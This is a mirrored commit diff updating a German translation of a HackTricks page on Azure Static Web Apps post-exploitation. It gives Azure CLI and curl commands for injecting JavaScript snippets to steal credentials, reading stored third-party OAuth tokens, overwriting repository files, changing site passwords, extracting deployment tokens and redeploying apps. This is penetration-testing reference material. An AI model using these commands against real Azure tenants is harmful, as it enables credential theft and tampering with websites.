gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-01-18 11:55:08 +00:00
parent 82615cf971
commit 0340897a31
1 changed files with 38 additions and 31 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
+38 -31
View File
@@ -1,10 +1,10 @@
# Az - Statische Webanwendungen Post-Exploitation
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Statische Webanwendungen
## Azure Static Web Apps
Für weitere Informationen zu diesem Dienst siehe:
For more information about this service check:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@ Für weitere Informationen zu diesem Dienst siehe:
### Microsoft.Web/staticSites/snippets/write
Es ist möglich, eine statische Webseite zu erstellen, die beliebigen HTML-Code lädt, indem man einen Snippet erstellt. Dies könnte es einem Angreifer ermöglichen, JS-Code in die Webanwendung einzufügen und sensible Informationen wie Anmeldeinformationen oder mnemonische Schlüssel (in Web3-Wallets) zu stehlen.
Es ist möglich, eine statische Webseite dazu zu bringen, beliebigen HTML-Code zu laden, indem man ein Snippet erstellt. Dies könnte einem Angreifer erlauben, JS-Code in die Web-App zu injizieren und sensible Informationen wie credentials oder mnemonic keys (in web3 wallets) zu stehlen.
Der folgende Befehl erstellt einen Snippet, der immer von der Webanwendung geladen wird::
Der folgende Befehl erstellt ein Snippet, das immer von der Web-App geladen wird::
```bash
az rest \
--method PUT \
@@ -31,22 +31,22 @@ az rest \
}
}'
```
### Gelesene konfigurierte Drittanbieter-Anmeldeinformationen
### Konfigurierte Drittanbieter-Zugangsdaten auslesen
Wie im Abschnitt App Service erklärt:
Wie im App Service-Abschnitt erklärt:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Durch Ausführen des folgenden Befehls ist es möglich, die **Drittanbieter-Anmeldeinformationen** zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
Mit dem Ausführen des folgenden Befehls ist es möglich, die im aktuellen Account konfigurierten **Zugangsdaten von Drittanbietern auszulesen**. Beachte, dass du z. B. nicht auf den Token zugreifen kannst, wenn Github-Zugangsdaten für einen anderen Benutzer konfiguriert sind.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
Dieser Befehl gibt tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
Hier findest du einige Beispielbefehle, um die tokens zu prüfen:
```bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Datei überschreiben - Routen, HTML, JS überschreiben...
### Datei überschreiben - Routen, HTML, JS...
Es ist möglich, eine **Datei im Github-Repo** der App über Azure zu **überschreiben**, indem man das **Github-Token** verwendet und eine Anfrage wie die folgende sendet, die den Pfad der zu überschreibenden Datei, den Inhalt der Datei und die Commit-Nachricht angibt.
Es ist möglich, eine **Datei im Github repo zu überschreiben**, die die App enthält, indem Azure den **Github token** verwendet und eine Anfrage sendet wie die folgende, die den Pfad der zu überschreibenden Datei, den Inhalt der Datei und die Commit-Nachricht angibt.
Dies kann von Angreifern missbraucht werden, um im Grunde **den Inhalt der Web-App zu ändern**, um bösartige Inhalte bereitzustellen (Anmeldeinformationen, mnemonische Schlüssel stehlen...) oder einfach um **bestimmte Pfade** auf ihre eigenen Server umzuleiten, indem sie die Datei `staticwebapp.config.json` überschreiben.
Dies kann von Angreifern missbraucht werden, um im Wesentlichen **den Inhalt der Web-App zu verändern**, um bösartige Inhalte auszuliefern (steal credentials, mnemonic keys...) oder einfach **bestimmte Pfade** durch Überschreiben der `staticwebapp.config.json`-Datei auf ihre eigenen Server umzuleiten.
> [!WARNING]
> Beachten Sie, dass ein Angreifer, wenn er es schafft, das Github-Repo auf irgendeine Weise zu kompromittieren, die Datei auch direkt von Github überschreiben kann.
> Beachte, dass, wenn ein Angreifer das Github repo auf irgendeine Weise kompromittiert, er die Datei auch direkt über Github überschreiben kann.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
Mit dieser Berechtigung ist es möglich, das **Passwort** zu ändern, das eine statische Webanwendung schützt, oder sogar jede Umgebung zu entprotecten, indem man eine Anfrage wie die folgende sendet:
Mit dieser Berechtigung kann man das **modify the password** einer static web app ändern oder sogar den Schutz jeder Umgebung aufheben, indem man eine Anfrage wie die folgende sendet:
```bash
# Change password
az rest --method put \
@@ -133,32 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Diese Berechtigung ermöglicht es, den **API-Schlüssel-Bereitstellungstoken** für die statische App zu erhalten:
Diese Berechtigung erlaubt es, das **API key deployment token** für die static app abzurufen.
Verwenden von az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Dann könnten Sie den folgenden Befehl ausführen, um **eine App mit dem Token zu aktualisieren**. Beachten Sie, dass dieser Befehl extrahiert wurde, um **zu überprüfen, wie Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funktioniert**, da es der ist, den Azure standardmäßig verwendet. Daher könnten sich das Bild und die Parameter in Zukunft ändern.
Verwendung von AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Then, in order to **eine App mit dem Token zu aktualisieren** können Sie den folgenden Befehl ausführen. Beachten Sie, dass dieser Befehl extrahiert wurde, indem geprüft wurde, **wie die Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funktioniert**, da dies die von Azure standardmäßig zur Verwendung gesetzte Action ist. Daher könnten Image und Parameter in Zukunft geändert werden.
> [!TIP]
> Um die App bereitzustellen, könnten Sie das **`swa`**-Tool von [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) verwenden oder die folgenden Schritte ausführen:
> Um die App bereitzustellen, können Sie das **`swa`**-Tool von [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) verwenden oder alternativ die folgenden Schritte manuell ausführen:
1. Laden Sie das Repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) herunter (oder ein anderes Repo, das Sie bereitstellen möchten) und führen Sie `cd react-basic` aus.
2. Ändern Sie den Code, den Sie bereitstellen möchten.
3. Stellen Sie es bereit, indem Sie (denken Sie daran, `<api-token>` zu ändern):
2. Ändern Sie den Code, den Sie bereitstellen möchten
3. Führen Sie die Bereitstellung aus (denken Sie daran, `<api-token>` zu ändern):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Selbst wenn Sie das Token haben, können Sie die App nicht bereitstellen, wenn die **Deployment Authorization Policy** auf **Github** eingestellt ist. Um das Token zu verwenden, benötigen Sie die Berechtigung `Microsoft.Web/staticSites/write`, um die Bereitstellungsmethode auf das API-Token zu ändern.
> Auch wenn du das Token hast, kannst du die App nicht deployen, wenn die **Deployment Authorization Policy** auf **Github** gesetzt ist. Um das Token zu verwenden, benötigst du die Berechtigung `Microsoft.Web/staticSites/write`, um die Deployment-Methode zu ändern und das API-Token zu verwenden.
### Microsoft.Web/staticSites/write
Mit dieser Berechtigung ist es möglich, **die Quelle der statischen Web-App auf ein anderes Github-Repository zu ändern**, jedoch wird es nicht automatisch bereitgestellt, da dies über eine Github Action erfolgen muss.
Mit dieser Berechtigung ist es möglich, die **Quelle der static web app auf ein anderes Github-Repository zu ändern**, allerdings wird sie nicht automatisch provisioniert, da dies über eine Github Action erfolgen muss.
Wenn die **Deployment Authorization Policy** auf **Github** eingestellt ist, ist es jedoch möglich, **die App aus dem neuen Quell-Repository zu aktualisieren!**.
Wenn die **Deployment Authorization Policy** jedoch auf **Github** gesetzt ist, ist es möglich, die **App vom neuen Quell-Repository zu aktualisieren!**.
Falls die **Deployment Authorization Policy** nicht auf Github eingestellt ist, können Sie dies mit der gleichen Berechtigung `Microsoft.Web/staticSites/write` ändern.
Falls die **Deployment Authorization Policy** nicht auf **Github** gesetzt ist, kannst du sie mit derselben Berechtigung `Microsoft.Web/staticSites/write` ändern.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -181,7 +187,7 @@ az rest --method PATCH \
}
}'
```
Beispiel-Github-Action zum Bereitstellen der App:
Beispiel Github Action zur Bereitstellung der App:
```yaml
name: Azure Static Web Apps CI/CD
@@ -244,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Mit dieser Berechtigung ist es möglich, **den API-Schlüssel der statischen Webanwendung zurückzusetzen**, was potenziell die Workflows, die die Anwendung automatisch bereitstellen, DoSing kann.
Mit dieser Berechtigung ist es möglich, **den API-Schlüssel der static web app zurückzusetzen**, wodurch die Workflows, die die App automatisch bereitstellen, potenziell DoSing ausgesetzt werden.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
Diese Berechtigung ermöglicht es, **eine Einladung an einen Benutzer** zu erstellen, um auf geschützte Pfade innerhalb einer statischen Webanwendung mit einer bestimmten Rolle zuzugreifen.
Diese Berechtigung erlaubt es, **eine Einladung an einen Benutzer zu erstellen**, damit er auf geschützte Pfade innerhalb einer static web app mit einer bestimmten Rolle zugreifen kann.
Der Login befindet sich in einem Pfad wie `/.auth/login/github` für GitHub oder `/.auth/login/aad` für Entra ID, und ein Benutzer kann mit dem folgenden Befehl eingeladen werden:
Die Anmeldung befindet sich unter einem Pfad wie `/.auth/login/github` für github oder `/.auth/login/aad` für Entra ID und ein Benutzer kann mit dem folgenden Befehl eingeladen werden:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -266,11 +272,12 @@ az staticwebapp users invite \
```
### Pull Requests
Standardmäßig werden Pull Requests von einem Branch im selben Repo automatisch in einer Staging-Umgebung kompiliert und gebaut. Dies könnte von einem Angreifer mit Schreibzugriff auf das Repo, der jedoch nicht in der Lage ist, die Branch-Schutzmaßnahmen des Produktions-Branches (normalerweise `main`) zu umgehen, ausgenutzt werden, um **eine bösartige Version der App** in der Staging-URL bereitzustellen.
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
Die Staging-URL hat dieses Format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` wie: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
Die Staging-URL hat folgendes Format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` wie: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Beachten Sie, dass externe PRs standardmäßig keine Workflows ausführen, es sei denn, sie haben mindestens 1 PR in das Repository gemergt. Ein Angreifer könnte einen gültigen PR an das Repo senden und **dann einen bösartigen PR** an das Repo senden, um die bösartige App in der Staging-Umgebung bereitzustellen. JEDOCH gibt es einen unerwarteten Schutz: Die standardmäßige Github Action zum Bereitstellen in die statische Web-App benötigt Zugriff auf das Geheimnis, das das Bereitstellungstoken enthält (wie `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), selbst wenn die Bereitstellung mit dem IDToken erfolgt. Das bedeutet, dass ein externer PR keinen Zugriff auf dieses Geheimnis hat und ein externer PR den Workflow nicht ändern kann, um hier ein beliebiges Token zu platzieren, ohne dass ein PR akzeptiert wird. **Dieser Angriff wird also nicht wirklich funktionieren**.
> Beachte, dass externe PRs standardmäßig keine Workflows ausführen, es sei denn, sie haben mindestens 1 PR in das Repository gemerged. Ein Angreifer könnte ein gültiges PR in das Repo senden und **dann ein bösartiges PR** einsenden, um die bösartige App in der Staging-Umgebung zu deployen. JEDOCH gibt es einen unerwarteten Schutz: die Standard GitHub Action zum Deployen in die static web app benötigt Zugriff auf das Secret, das das Deployment-Token enthält (z. B. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), selbst wenn das Deployment mit dem IDToken erfolgt. Das bedeutet, dass ein externes PR keinen Zugriff auf dieses Secret hat und ein externes PR den Workflow nicht ändern kann, um hier ein beliebiges Token zu platzieren, ohne dass ein PR akzeptiert wurde; **dieser Angriff funktioniert daher in der Praxis nicht**.
{{#include ../../../banners/hacktricks-training.md}}